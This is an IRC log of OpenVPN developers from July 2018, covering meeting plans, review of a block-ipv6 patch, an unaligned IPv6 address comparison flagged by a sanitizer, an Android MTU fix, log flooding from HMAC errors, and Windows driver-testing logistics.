<@ordex> cron2: dazo: mattock: are we having a meeting tomorrow? I need some more feedback for the Jigsaw project 01:18 <@cron2> ordex: I could join (but have no items on my own, and will likely not have much brains) 01:22 <@cron2> plaisthos, ordex: what's the state of the --block-ipv6 patch? 01:25 <@ordex> there was an open discussion with plaisthos, but I think he was busy and did not move forward 01:29 <@ordex> cron2: what you suggetsed to the guy is basically "block-ipv6" already, no? 01:55 <@cron2> yes, though block-ipv6 is doing this on the client, not sending all to the server first 01:59 <@ordex> right 03:03 <@mattock> I think a meeting would be in order tomorrow 03:04 <@mattock> I looked into outsourcing pre-submission testing of tap-windows6 03:08 <@mattock> there's one India-based company that does this and they seem to know what they're doing (they're Gold certified MS partner) 03:09 <@ordex> "know what they're doing" be careful with that :D but at least they are focused on this one task and that is good hehe 03:10 <@mattock> hence "seem" 03:11 <@mattock> the thing is that Windows Server 2019 is in "preview" phase 03:13 <@vpnHelper> RSS Update - tickets: #1076: OpenVPN disconnects after switching to another app <https://community.openvpn.net/openvpn/ticket/1076> 03:15 * ordex can't stand cloudflare 03:19 <@vpnHelper> RSS Update - tickets: #1076: iOS 12: OpenVPN disconnects after switching to another app <https://community.openvpn.net/openvpn/ticket/1076> 03:29 <@mattock> what we know now, is that testing on virtual platforms is not sufficient 03:29 <@mattock> so, we need to have at least one physical Windows Server for HLK testing 03:30 <@mattock> but, we also need to test each and every platform we want to get HLK test results for 03:30 <@mattock> meaning 2016 now, 2019 soon 03:31 <@mattock> given the historic rate of tap-windows6 releases having dedicated servers running at the office does not make much sense imho 03:32 <@mattock> I asked what their price would be for a submission 03:32 <@mattock> given the amount of money we'd have to spend on server hardware plus time and effort in setting up the environment I'm pretty sure outsourcing will be the way 03:34 <@ordex> yeah, outsourcing is likely going ot be a good idea 03:42 <@mattock> they can also fix the bugs that are found (for extra price, of course) 03:42 <@mattock> of course, I don't know how good their engineers are at that 03:44 <@ordex> let them find a bug first .. 03:47 <@dazo> ordex: (cron2 mattock) I'm not sure how my schedule is tomorrow ... there's several meetings happening on my end. But I'll pop in if I'm available 03:48 <@ordex> oky 03:51 <@mattock> what about cron2? 03:51 <@mattock> syzzer, plaisthos, etc. 03:55 <@ordex> hm I just realized tomorrow afternoon I might not have an internet connection 03:55 <@ordex> we normally have the meeting at 10:30 CEST, right? 04:05 <@vpnHelper> RSS Update - tickets: #1077: OpenVPN disconnects after backgrounding app <https://community.openvpn.net/openvpn/ticket/1077> 04:05 <@ordex> my goodness 04:12 <@ordex> mattock: btw about the meeting tomorrow - I might be late actually :( and it seems I was the only one bringing some items for the agenda (?) 04:18 <@plaisthos> ordex: It is still waiting for review 04:18 <@plaisthos> I think I fixed everything you wanted to have fixend then it just sat on the mailing list since last Hackathon 04:18 <@ordex> plaisthos: didn't we discuss anything else offline about the packets being used? 04:18 <@ordex> ok 04:18 <@ordex> then it ie better to give it another spin 04:19 <@ordex> (I mean, review spin) 04:19 <@plaisthos> but double checking 04:19 <@ordex> my major issue with that patch is that it is "doing too much" imho, but I understand this is just the easiest approach to cover "all platforms" 04:20 <@plaisthos> Oh I completely missed your last review it seems 04:23 <@ordex> plaisthos: oh you found my additional comments? 04:26 <@plaisthos> yeah 04:29 <@ordex> oky 04:38 <@plaisthos> ordex: openvpn3 also has block-ipv6 but simply call tunbuilder->block_ipv6 and leaves the implementation to the client 04:39 <@ordex> right 04:39 <@ordex> so each platform can do the right thing 04:39 <@ordex> this is why I felt a bit compelled about openvpn "core" doing a generic (and a bit invasive) icmp6 forgery 04:39 <@ordex> but it's just my opinion 04:39 <@plaisthos> yeah 04:40 <@plaisthos> But it is kind of the only way to do it on Android 04:40 <@plaisthos> If you are on some of the more broken phones like Samsung 04:40 <@ordex> what do OpenVPN Connect and your client do when block-ipv6 is specified? 04:40 <@ordex> on iOS IPv6 packets are just dropped 04:41 <@ordex> there is nothing going back (maybe this should be improved) 04:50 <@plaisthos> ordex: my client does not do anything useful with openvpn3 an block-ipv6 04:50 <@ordex> and for openvpn2? it does what your patch does already? 04:50 <@plaisthos> it has my patch included 04:51 <@ordex> alright 04:51 <@ordex> maybe it's the only reasonable thing to do. do you remember what was cron2 's take on this argument? 04:53 <@plaisthos> not sure 04:54 <@plaisthos> OpenVPN Connect seem to do nothing with block-ipv6 04:54 <@ordex> likely 04:54 <@ordex> yeah 04:57 <@ordex> mattock: can openvpn-build create packages for different flavours of debian/ubuntu? or does that need to run the builder on each of those distros? 04:59 <@ordex> hmmm I really should get my vagrant setup going :( it's the only way to test code on various platforms 05:55 <@cron2> mattock: wrt meeting, I can be here if we want meeting 05:56 <@cron2> wrt block-ipv6 - we need to send back ICMP unreachables, otherwise client apps will take forever to try ipv6, eventually timeout and fall over to ipv4 05:57 <@cron2> (*browsers* usually try ipv4+ipv6 in parallel, so if one of them just never does anything it is not a problem, but apps that do one-after-the-other will suffer) 07:09 <@plaisthos> so that is a feature ack from you? 07:09 <@cron2> yes, always :-) - I just had never time to read the code 07:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:19 <@mattock> ordex: openvpn-build does not generate debian/ubuntu packages 07:19 <@mattock> sbuild_wrapper is used for that 07:20 <@mattock> like the name says it wraps sbuild, which is a schroot-based solution for building Debian / Ubuntu packages 07:39 <@plaisthos> *sigh* trying to explain an MDM vendor that putting every openvpn option into a key value field for the user to configure is not userfriendly and just having a big config multi line text is actually better for openvpn 07:53 <@dazo> plaisthos: he should have a talk to the NetworkManager guys .... 07:55 <@plaisthos> dazo: in business environments the ovpn are even more seen as opaque file than in networkmanager ... 08:08 < tincantech> I am now passing 2123 characters to openvpn via command line :) Maximum option line length (256) *not* exceeded .. 08:11 < tincantech> https://dpaste.de/GKKJ 08:22 <@plaisthos> yeah 08:22 <@plaisthos> the 256 limit only applies to line in the config itself 08:27 < tincantech> ah thanks :) .. i am guessing there is a limit on the shell line length as well but not hit it yet 08:32 <@cron2> that's not imposed by openvpn but by the OS 08:33 <@cron2> linux CLI line lenght is something ridiculously high, other systems limit to 4000 bytes minus environment or so 08:33 <@dazo> I believe Linux is 16KiB 08:33 < tincantech> ah thanks :) 08:36 < tincantech> The limit here (ubuuntu 14.04) Linux 3.16.0-38-generic is 4096 bytes 08:36 <@dazo> uhm ... nope .... xargs --show-limits tells me: POSIX upper limit on argument length (this system): 2091593 08:36 <@dazo> POSIX smallest allowable upper limit on argument length (all systems): 4096 08:37 <@dazo> so ridiculous high is not strong enough ... 2MB is the ultimate max on my system 08:39 < tincantech> yeah me2 .. maybe it is dash 08:44 < tincantech> or more likely something else due to the convoluted way i am invoking openvpn 08:49 < tincantech> I don't know .. even invoked directly from bash command line the command is truncated at 4096 bytes 09:06 <@cron2> which might be "bash internal limits" 09:12 < tincantech> Yeah .. loads of layers and not worth persuing any further -- if your config is that complex then use a .conf file ;) 09:18 <@plaisthos> cron2: you understan ipv6 probably better than anyone else here 09:20 <@plaisthos> in my block-ipv6 I initally send all ipv6 unreachable fro mthe "ipv6-remote" address and fall back to fe80::7 if I don't have a ipv6 remote. ordex ask me why I don't use fe80::7 all the time. Any thoughts on that? 09:28 <@cron2> well, for local connects it's likely not going to matter. In situations where you're actually routing someone else's packets into the (blocked) tun, a fe80 sourced packet will not be routable back... 09:28 <@cron2> also, if someone does a traceroute, having a global address might help debugging where this is coming from 09:34 <@mattock> uh did anyone receive my meeting invitation? 09:34 <@mattock> SF.net seems to be rejecting my emails again 09:43 < tincantech> mattock: email has not been recieved 09:54 <@cron2> mattock: indeed, no mail yet 10:06 <@cron2> plaisthos: is v4 on the list? 10:31 <@cron2> there it is 10:31 <@plaisthos> cron2: it is now. Probably grey listing 10:43 <@cron2> plaisthos: when you have some spare time I would be curious to hear whether android client works ipv6-only (push-remove ifconfig or pull-filter ignore 'ifconfig ') 10:43 <@cron2> with the latest master 10:55 <@plaisthos> should work without problems 11:04 <@plaisthos> nah it crashes because it tries to print a null object in java *sigh* 11:10 <@plaisthos> I don't get the mtu if there is no ifconfig 11:19 <@plaisthos> that was probably on of my quickest openvpn patches :) 12:23 < godzed> hello guys 12:24 < godzed> i am building a script for selling vpn subscriptions online. I can't understand or decide what is the best way to manage active/expired accounts (user/pass combos), and how I can disconnect a user that is connected to the vpn when his VPN subscription expires. Does anyone here have experience with this kind of stuff? I am willing to pay well for some help and explanation. 12:31 <@plaisthos> the management interface allows you to kill clients 12:31 <@plaisthos> see the management.txt 12:33 < godzed> what about the other part? do you have knowledge how the automated subscription system should be set up? I have developers but I need help with understanding the working. 12:35 <@plaisthos> That is not really openvpn to be honest 12:36 <@plaisthos> from OpenVPN's perspective it is just a script/plugin that says yes or no 12:36 < godzed> that is correct 12:37 <@plaisthos> and most of us are actually from a network background and have not much experience with this kind of systems 12:50 < tincantech> so, on the forum we have somebody who says his log is getting to 20GB/day due to "HMAC authentication failed" .. so I advised they try --mute but it appears --mute does not effect HMAC failures 12:51 < tincantech> I have a test network with 20 odd clients and in 30 mins the log is 1mb just from HMAC errors .. 12:51 <@plaisthos> that sounds like either a dos or some broken hardware 12:52 < tincantech> so, i was thinking "can mute be applied to these errors too" or maybe an explicit option to not log HMAC errors of this type 12:52 < tincantech> it could be a dos but it does not look like a hardware fault 12:53 < tincantech> another idea could be an explicit option to not log dropped packets of any kind .. 12:53 <@plaisthos> I don't think there is one 12:54 < tincantech> the person in question is using UDP:1184 but I can imagine that getting even worce on TCP:443 .. 12:54 < tincantech> plaisthos: there is not one currently .. i am just floating the idea 12:55 < tincantech> there does seem to be any current way to stop the log growing like that from HMAC errors 12:56 < tincantech> this is the thread : https://forums.openvpn.net/viewtopic.php?f=6&t=26591 12:56 <@vpnHelper> Title: Disk Full: TLS Error: cannot locate HMAC in incoming packet from... - OpenVPN Support Forum (at forums.openvpn.net) 12:57 < tincantech> i realise they could just get a bigger disk .. 12:57 < tincantech> but that seems a bit harsh 12:58 < tincantech> that would be 1194 not 1184 13:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:28 <@cron2> plaisthos: haha, told you that this would blow up android :-) 14:32 <@vpnHelper> RSS Update - gitrepo: Add MTU to Android IFCONFIG6 control command <https://github.com/OpenVPN/openvpn/commit/e050bdfe9489ae9d0a15cb000360b73c7c748b59> 16:25 < tincantech> cron2: +1 to that .. openvpn is a swiss army knife not a swiss army spoon :D 19:40 < tincantech> although, it is more of a swiss army cork-screw infact (M_VERB0 for example ..) 22:18 <@ordex> cron2: eveb our fellow plaisthos assumed ipv4 & co was always there :P what a shame! 22:18 <@ordex> :D 22:18 <@ordex> *even 23:02 <@ordex> is this James Peng using the mailing list as google substitute? :P --- Day changed Wed Jul 04 2018 01:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:33 <@plaisthos> ordex: openvpn-users? 04:57 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:57 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:08 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 06:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:43 < kitsune1> ordex: interpret it favourably as case of "I don't trust google, let me confirm with the experts" -- its the users list after all. He may learn more by reading the man page though. 09:44 <@ordex> kitsune1: I said "google" as in: he does not want to do research and uses other people for that :P 09:48 < kitsune1> yeah, google as in "unverified online sources". Well, research and then ask to confirm would be better but could be equally annoying if someone wants to confirm everything they read like : "is it okay to use redirect-gateway def1 to redirect traffic"? But some are more paranoid or naive than others. 09:50 < kitsune1> Anyway the users list is pretty quiet. 10:02 <@ordex> yeah 10:02 <@ordex> personally I am fine with everything 10:02 <@ordex> things i don't like, I just ignore 10:02 <@ordex> but people are free to go on :) 10:50 < tincantech> like i do ;) 12:38 <@syzzer> cron2: got my t_client tests working again, seems the latency to (some of?) the test servers has significantly increased 12:39 <@syzzer> had to change -p 250 to -p 500 to get reliable results 12:40 <@syzzer> $ fping -C 5 -q -p500 conn-test-server.openvpn.org 10.194.1.1 10.194.0.1 12:40 <@syzzer> conn-test-server.openvpn.org : 224.25 133.92 145.52 157.64 169.10 12:40 <@syzzer> 10.194.1.1 : 214.34 129.40 135.39 147.56 159.11 12:40 <@syzzer> 10.194.0.1 : 413.23 319.26 331.07 342.91 354.55 12:43 <@syzzer> also, my openvpn that was built with -fsanitize=undefined complains to me about ipv6 code :p 12:44 <@syzzer> src/openvpn/forward.c:1134:13: runtime error: member access within misaligned address 0x000001ae3f7a for type 'const struct in6_addr', which requires 4 byte alignment 12:45 <@ordex> !!! 12:45 <@ordex> why didn't we see that ? 12:45 <@ordex> ah sanitize undefined might have been not part of the tests 12:45 <@syzzer> because you didn't build with -fsanitize=undefined? :p 12:46 <@syzzer> the code works just fine on my intel laptop, as is likely does on all platforms that allow unaligned accesses 12:47 <@ordex> will check what that is 12:54 < m-a> might break on SPARC 12:54 < m-a> if you see SIGBUS you know what it is... 12:56 <@ordex> syzzer: you're using clang, right? because gcc does no throw it 12:56 <@syzzer> ordex: yes 12:57 <@ordex> version? 12:57 <@syzzer> might also be that is just pops up since I upgraded to ubuntu 18.04 12:57 <@syzzer> $ clang --version 12:57 <@syzzer> clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final) 12:57 <@ordex> clang-5 did not throw anything for me too 12:57 <@ordex> mhh 12:57 <@syzzer> you do need to trigger a specific condition, it's a runtime error 12:57 <@syzzer> for me the t_client tests triggered it 12:57 <@ordex> aaah 12:57 <@ordex> right 12:57 * ordex stupid 12:58 <@ordex> ok 12:58 <@ordex> let me try 12:58 <@ordex> oh but this code hasn't been changed in a while :P so not my fault 12:58 <@ordex> hopefully 12:58 <@ordex> :D 12:59 <@ordex> syzzer: you did not add no patch changelog, didn't you? :P 13:04 <@ordex> btw that unaligned access is because the size of the ethernet header is not a multiple of 4 and thus the IP header is not aligned to 32 bits. in the kernel normally this is dealt with by reserving 2 bytes at the beginning of the buffer. This way the IP header start at an address aligned to 32bits 13:04 <@ordex> I wonder if this is really the only place where we can get this error 13:04 <@ordex> maybe we don't access the ip header in TAP mode that often 13:07 <@cron2> syzzer: mmmh, not sure about conn-test-server.openvpn.org - it was always "quite a bit away", but usually did not fluctuate that much (thus, stable around 150ms). Seems something else was full today 13:08 <@cron2> syzzer: that is the IN6_ARE_ADDR_EQUAL() check? 13:08 <@syzzer> cron2: yes 13:08 <@syzzer> easy way out is probably using a memcmp instead 13:08 <@ordex> yeah 13:09 <@cron2> since we do *not* core dump on sparc, this might exactly what IN6_ARE_ADDR_EQUAL() is doing there... 13:09 <@cron2> and, btw, what our replacement in openvpn/win32.h does... 13:09 <@ordex> yeah, it is likely switching to "slow and unoptimized compare" 13:11 <@syzzer> ordex: ah, no, didn't add the patch changelog. Did a lazy "git send-email -v2 origin/master"... 13:11 <@cron2> syzzer: use a proper OS... 13:11 <@ordex> hehe oky 13:11 <@cron2> FreeBSD does 13:12 <@cron2> (netinet/in6.h) 13:12 <@cron2> #define IN6_ARE_ADDR_EQUAL(a, b) \ 13:12 <@cron2> (memcmp(&(a)->s6_addr[0], &(b)->s6_addr[0], sizeof(struct in6_addr)) == 0) 13:12 <@syzzer> cron2: haha, "maybe tomorrow" ;-) 13:13 <@cron2> syzzer: linux is like totally fascinating here 13:13 <@ordex> on linux it seems this is always implemented as a comparison among 32bit members 13:13 <@cron2> look at netinet/in.h 13:13 <@cron2> ordex: no 13:14 <@ordex> no? 13:14 <@cron2> look 13:14 <@cron2> especially at the "oh, there's an #ifdef __GNU_C__ part here" 13:15 <@ordex> yeah but it's "__a->__in6_u.__u6_addr32[0] == __b->__in6_u.__u6_addr32[0]" vs "((((const uint32_t *) (a))[0] == ((const uint32_t *) (b))[0])" : isn't this comparing 4 bytes at once in both cases? 13:16 <@cron2> yes, but the "gnu c" part (at least in gentoo's headers) is actually *copying* the input to two temporary in6_addr structures first 13:16 <@ordex> yeah 13:16 <@ordex> well the pointers 13:16 <@ordex> after casting them 13:16 <@ordex> like they expect the arguments to be something else (?) 13:17 <@cron2> https://paste.fedoraproject.org/paste/XkLCKJltkCrD89BHlCTAYg 13:17 * ordex is on gentoo too 13:17 <@cron2> oh, good point 13:17 * cron2 was misreading this 13:18 <@cron2> weird code 13:18 <@ordex> maybe because when GNUC is defined, there are some other "weird" structs used for storing ip6 addresses (?) 13:18 <@cron2> some of the OSes have unions that have other word sizes than "8 bit" and "32 bit" 13:19 <@cron2> like, linux :) 13:19 <@ordex> yeah 13:19 <@cron2> but the extra 16 bit variant won't make a difference there 13:19 <@ordex> yap 13:19 <@ordex> well, it would, because the misalignment is because of 2 bytes 13:19 <@ordex> so accessing the address 16bits at time would make it "aligned" 13:19 <@ordex> no? 13:20 <@ordex> well, if the cpu is 16bit 13:20 <@ordex> or maybe I just go to sleep :D 13:20 <@cron2> there are no 16 bit CPUs 13:20 <@ordex> yeah, and that's a good thing :P 13:20 <@cron2> and if you access the 32bit union members, it won't magically use the 16bit variants instead 13:20 <@ordex> right 13:20 <@cron2> http://lkml.iu.edu/hypermail/linux/kernel/0204.1/1033.html 13:20 <@vpnHelper> Title: Linux-Kernel Archive: Problem with macro IN6_ARE_ADDR_EQUAL (at lkml.iu.edu) 13:20 <@cron2> *roll eyes* 13:21 <@ordex> LOL 13:21 <@ordex> anyway, this linux thing will always be unaligned unless you provide the address at the right offset 13:22 <@cron2> arguably linux is imposing something here that is neither mandated nor sanctioned by the API definition in the RFC 13:22 <@cron2> https://tools.ietf.org/html/rfc2292 13:22 <@vpnHelper> Title: RFC 2292 - Advanced Sockets API for IPv6 (at tools.ietf.org) 13:24 <@ordex> well, I think in general the programmer should somewhat take care of this, no? and ensure things are done properly, rather than assuming that "it will always work" ? 13:24 <@ordex> on the fast path you definitely don't want to silently use memcmp 13:24 <@ordex> without knowing that 13:24 <@ordex> no? 13:24 <@cron2> what makes you assume that memcmp is slower? 13:25 <@ordex> well, it depend son the CPU 13:25 <@ordex> *depends 13:25 <@cron2> look at the assembly generated by a modern compiler when you put a memcmp() with a fixed length into your code :) 13:25 <@ordex> hehe yeah, that is probably optimized anyway 13:25 <@cron2> so the net result might be exactly the same code as doing the integer comparison dance 13:27 <@cron2> but "the programmer should take care of" - not sure why he should. The API specification does not demand alignment, and the reference platform doesn't, so why is it the programmer's fault if Linux decides to take shortcuts? 13:28 <@ordex> let's say that the documentation of IN6_ARE_ADDR_EQUAL should at least say "expect arguments to be aligned" 13:29 <@ordex> of course, the way it is now is inconsistent 13:29 <@cron2> as long as the standard does not say anything about alignment expectations, there are none 13:30 <@ordex> well, the point is that on some archs unaligned access is just slow, so you simply want to avoid that if you can. this is what I mean before 13:30 <@ordex> that was my initial assumption 13:31 <@ordex> for example, in the linux kernel there are two functions for checking if 2 eth addr are the same. one demands aligned access, one does not and the programmer can choose which one based on the assumption he makes 13:31 <@cron2> yes, this makes sense 13:31 <@ordex> I was expecting something ismilar in this case, but yeah, in.h lacks this 13:31 <@ordex> it just provides one macro and then...deal with it! 13:31 <@cron2> in our code, aligning the buffer differently is likely going to kill performance of AES later on 13:32 <@ordex> but in our code we never access the data after the eth header. do we? 13:32 <@ordex> only in this code path 13:32 <@cron2> (because, as far as I understand, with DATA_V2, our data section is nicely aligned now) 13:32 <@cron2> we access the buffer quite a bit when encrypting and decrypting it :) 13:33 <@cron2> and we do access IPv4 and IPv6 headers for address learning, NAT, MSS fixing, ... 13:33 <@ordex> even in tap mode? 13:33 <@ordex> oh ok 13:33 <@cron2> NAT and MSS yes, learning no 13:33 <@ordex> well that may cause the same issue then 13:34 <@cron2> I wonder why it's not complaining about this line 13:34 <@cron2> /* drop packets with same dest addr as gateway */ 13:34 <@cron2> if (tun_sa.addr.in4.sin_addr.s_addr == pip->daddr) 13:35 <@cron2> (same code block, IPv4, 10 lines up) 13:35 <@cron2> effectively the same issue - in tap mode, skipping 18 bytes, misaligning ipv4 and ipv6 header 13:37 <@cron2> and that might even crash Linux/SPARC because there is no macro that might turn into a memcmp() 13:38 <@cron2> syzzer: changing topic for a moment - the tls-crypt v2 is "all new", and I do not need to keep anything around from the Dec08 series? 13:40 <@syzzer> cron2: correct 13:40 <@ordex> I guess syzzer did not manage to trigger that code path? this function is fairly weird...by reading the doc, I couldn't imagine when this is invoked 13:40 <@syzzer> the newest set is complete 13:40 <@cron2> good :-) - has one of you cleaned up patchwork already, or shall I do that? 13:40 <@syzzer> I haven't 13:40 <@ordex> I did not 13:40 * cron2 does 13:40 <@ordex> :) 13:40 <@syzzer> thanks :) 13:40 * ordex sleeps - goodnight! 13:40 <@cron2> ordex:goodnight 13:41 <@cron2> syzzer: I wonder why you did not trigger this in the ipv4 case... 13:41 <@cron2> ah 13:41 <@cron2> could you connect to the reference server over ipv4, using tap, and see if it complains about the other line? 13:43 <@cron2> the "add specification" patch is actually v3, but I pretend to not see this :) 13:50 <@syzzer> cron2: no doesn't complain 13:50 <@cron2> why? 13:50 <@syzzer> (I connect with --dev tap --proto udp4, then fping over the connection) 13:51 <@syzzer> ah, wait 13:51 <@syzzer> I need to fping to the ipv6 address 13:51 <@cron2> no 13:51 <@syzzer> oh, hm 13:51 <@cron2> the "v4-over-6 or 6-over-4" cases won't trigger the address comparison 13:51 <@syzzer> ah! 13:52 <@cron2> ^^ 13:52 <@cron2> argh 13:52 <@cron2> so? 13:52 <@syzzer> no clue why this doesn't trigger it then... 13:54 <@cron2> interesting 13:54 <@cron2> I really need to find me a sparc64/linux machine... 14:28 <@plaisthos> cron2: I did not assume it, I just had bug in it with mtu :p 14:32 <@cron2> plaisthos: I expected some explosions - MTU came somewhat unexpected, but "printing non-existing addresses in the gui" would have been totally expected 18:02 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 18:10 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:10 -!- mode/#openvpn-devel [+o dazo] by ChanServ 19:48 <@ordex> syzzer: cron2: the function gets called in case of "recursive routing" maybe it's just easier to trigger that with v6 settings other than v4? 19:51 <@ordex> cron2: btw https://elixir.bootlin.com/linux/latest/source/include/linux/etherdevice.h#L319 << this function is used for accessing aligned eth addresses. check the NON-OPTIMAL path: they use u16 and expect the addresses to be aligned to 16bits, even though CPUs have 32bit words. so that works too 19:51 <@vpnHelper> Title: Linux source code: include/linux/etherdevice.h (v4.17.4) - Bootlin (at elixir.bootlin.com) 19:53 <@ordex> well, because the CPU will still read the memoty word by word, even though the C program is accessing them 2bytes at once 19:53 <@ordex> *memory 22:34 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 22:34 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 22:34 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Thu Jul 05 2018 00:46 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:22 <@ordex> plaisthos: cron2: yes netlink patches have to rebased (actually I did it already), but I don't think it's a good idea to send them to the ml until we have merged the rest of the ipv6-only patches, otherwise they'd need to be rebased again 01:32 <@cron2> yep 01:32 <@cron2> and good morning 03:16 <@ordex> morning ! 03:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:01 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:19 <@dazo> Hey! nstolyarenko is an OpenVPN Inc hire ... who is interested in helping out with testing (QA/CI/etc) of OpenVPN .... hopefully we can get some pretty good test automation going 05:20 < nstolyarenko> Hello! 05:21 <@dazo> I've pointed nstolyarenko at openvpn-vagrant, shown him t_client.sh in action ... as well as the wiki pages related to testing 05:22 <@dazo> mattock, cron2: Can you please create needed t_client certs and send him a t_client.rc config? 05:27 <@cron2> can you establish e-mail contact, please? I need to send these by mail anyway (and "not right now" :) ) 05:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:17 < nstolyarenko> @cron2 Sent the details to you privately in irc 07:27 <@cron2> oh my... "WE HAVE DISCOVERED A GLARING SECURITY HOLE" 07:27 <@cron2> running 2.3.4 07:27 <@cron2> "yes, you have, your openvpn version is, like, ancient..." 07:45 < tincantech> ecrist: ping 07:47 < tincantech> ecrist: i can help test easyrsa on windows but I have something a bit more interesting (i think..) 08:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:54 <@cron2> plaisthos: is "1024 bit DSA key D4B8CD17, created: 2002-03-09" your current key? 10:13 <@ordex> I find the attitude of some of the reportes very weird, but maybe it's just me 10:14 <@syzzer> it's not just you ;-) 10:14 <@ordex> ah ok :D 10:21 <@plaisthos> cron2: yeah, I use PGP so rarely that I never bothered to create a new key ;) 10:33 <@ordex> lazy! 10:33 <@ordex> :P 12:54 <@cron2> ordex: "I HAVE FOUND SOMETHING! YOU SURELY MUST AGREE THAT IT IS MORE IMPORTANT THAN ANYTHING ELSE!" 12:54 <@ordex> :D 12:54 <@ordex> yeah, pretty much like that 12:55 <@ordex> but it's interesting how he ignored your entire reasoning 12:55 <@ordex> :D 13:20 < tincantech> trouble on the security list ? ;) 13:22 <@ordex> nah, not troubles I'd say.. 14:05 < jkunkee_> mattock: Are the HLK test VMs set up for RDP? One of them doesn't have a heartbeat ever since it started running a reboot-loop stress test. 14:20 <@mattock> jkunkee: yes they are 14:20 <@mattock> I noticed one of them has been behaving strangely 14:21 <@mattock> I guess you could remove the bad one from the pool? 14:30 <@cron2> windows torturing experts at work! 14:31 < jkunkee_> I marked it as broken in the HCK Controller, so it won't be any trouble. 14:31 < jkunkee_> I might try to RDP to it and see what's up 14:33 < jkunkee_> Is there a way to use the command line to tell one of the OpenVPN services ot automatically connect on login? 14:33 < jkunkee_> I have an autologin profile already 14:34 < jkunkee_> (Using Access Server's trial license has its limits...) 14:34 < jkunkee_> (it'll considerably speed up my test runs on the machines with kernel debugging configured) 14:38 <@cron2> there is the classic openvpn service, which will fire up instances at boot (well, at service start) 14:38 <@cron2> let me google how to make it fly, never used it 14:39 <@mattock> just copy a config file to the config dir 14:39 <@mattock> Restart-Service openvpnservice 14:39 <@mattock> but _one of them_ 14:39 <@cron2> so it just starts everything from c:\programs\openvpn\config\ 14:39 <@cron2> ? 14:39 <@mattock> not sure 14:40 < jkunkee_> c:\program files\openvpn\config has only one file, but it doesn't connect on boot 14:40 < jkunkee_> nor on login 14:40 <@cron2> there are two services 14:40 <@cron2> the "OpenVPN interactive service" <- this is used by the GUI to get privileges for routes 14:40 <@mattock> three actually, but "OpenVPNServiceLegacy" you should not use 14:40 < jkunkee_> I'll try the PS1 invocation you suggested. 14:40 <@cron2> the "OpenVPN service" <- this is off by default, and runs stuff without GUI on service start 14:41 <@mattock> OpenVPNService is the "launch all configs on boot" 14:41 < jkunkee_> Looks like only Interactive is running on my test boxen 14:41 <@cron2> yes 14:41 < jkunkee_> ooh 14:41 < jkunkee_> k 14:41 < jkunkee_> so if I turn on OpenVPNService, it should Do the Right Thing(TM) 14:41 <@cron2> "GUI users" want the Interactive service, so the other one is not exactly well-documented or easily accessible 14:41 <@mattock> jkunkee: each HLK node has different password, so you won't be able to get in 14:41 <@mattock> I can grant you access if you really need it, but I don't mind it being in a reboot loop :P 14:41 < jkunkee_> mattock: Sensible security; good to know. I hadn't yet tried 14:42 < jkunkee_> kk 14:42 < jkunkee_> It might be a stranger condition, something like EC2 realizing a Windows guest is in a reboot loop and freezing it (though I doubt it) 14:42 <@cron2> jkunkee: https://superuser.com/questions/1166026/how-to-autostart-and-autoconnect-openvpn-in-windows-10 14:42 <@vpnHelper> Title: How to autostart and autoconnect OpenVPN in Windows 10? - Super User (at superuser.com) 14:43 <@mattock> jkunkee: btw. do you know how to grant admin privileges to a user without having to know admin password _in an automated way_ on Windows? 14:43 <@cron2> (but that's basically what we said already) 14:43 <@mattock> being member of the local admin group does not seem to suffice 14:43 < jkunkee_> somehow my bing-fu hadn't yet gotten me to that page 14:44 <@cron2> most google hits are only half-complete - they explain in great length how to go to "services.msc" and enable autostart of the service etc, but lack the "and what will it do, then?" part 14:44 < jkunkee_> mattock: I'm not very familiar with it, but there's a regkey you can set to turn off UAC. Then if you're in the local admin group I don't think it'll ask for a password 14:44 <@mattock> jkunkee: ah, ok 14:45 <@mattock> so selectively turn of _that_ feature of UAC 14:45 <@mattock> I think I'll try doing it via the GUI and take a diff of the registry before and after 14:45 <@mattock> i.e. reverse-engineer it 14:46 <@mattock> (I've done registry diffs in the past for some reason and it actually worked) 14:46 < jkunkee_> the regkey I'm thinking of I found on the internet, probably from someone who did the same thing 14:46 <@mattock> ah 14:46 < jkunkee_> (technically I was turning UAC off because an app I wsa testing turned it off) 14:46 <@mattock> I tried to find a solution via DDG and Google and neither returned anything particularly useful 14:46 <@mattock> anyways, I'll check that later 14:46 <@mattock> thanks! 14:47 < jkunkee_> if you're being asked for a password, then either you're running not interactive or UAC is on. 14:47 < jkunkee_> hopefully that helps! 14:47 <@mattock> I got to split, it is almost 11 PM here 14:47 <@mattock> bye! 14:47 < jkunkee_> ciao 14:47 < jkunkee_> 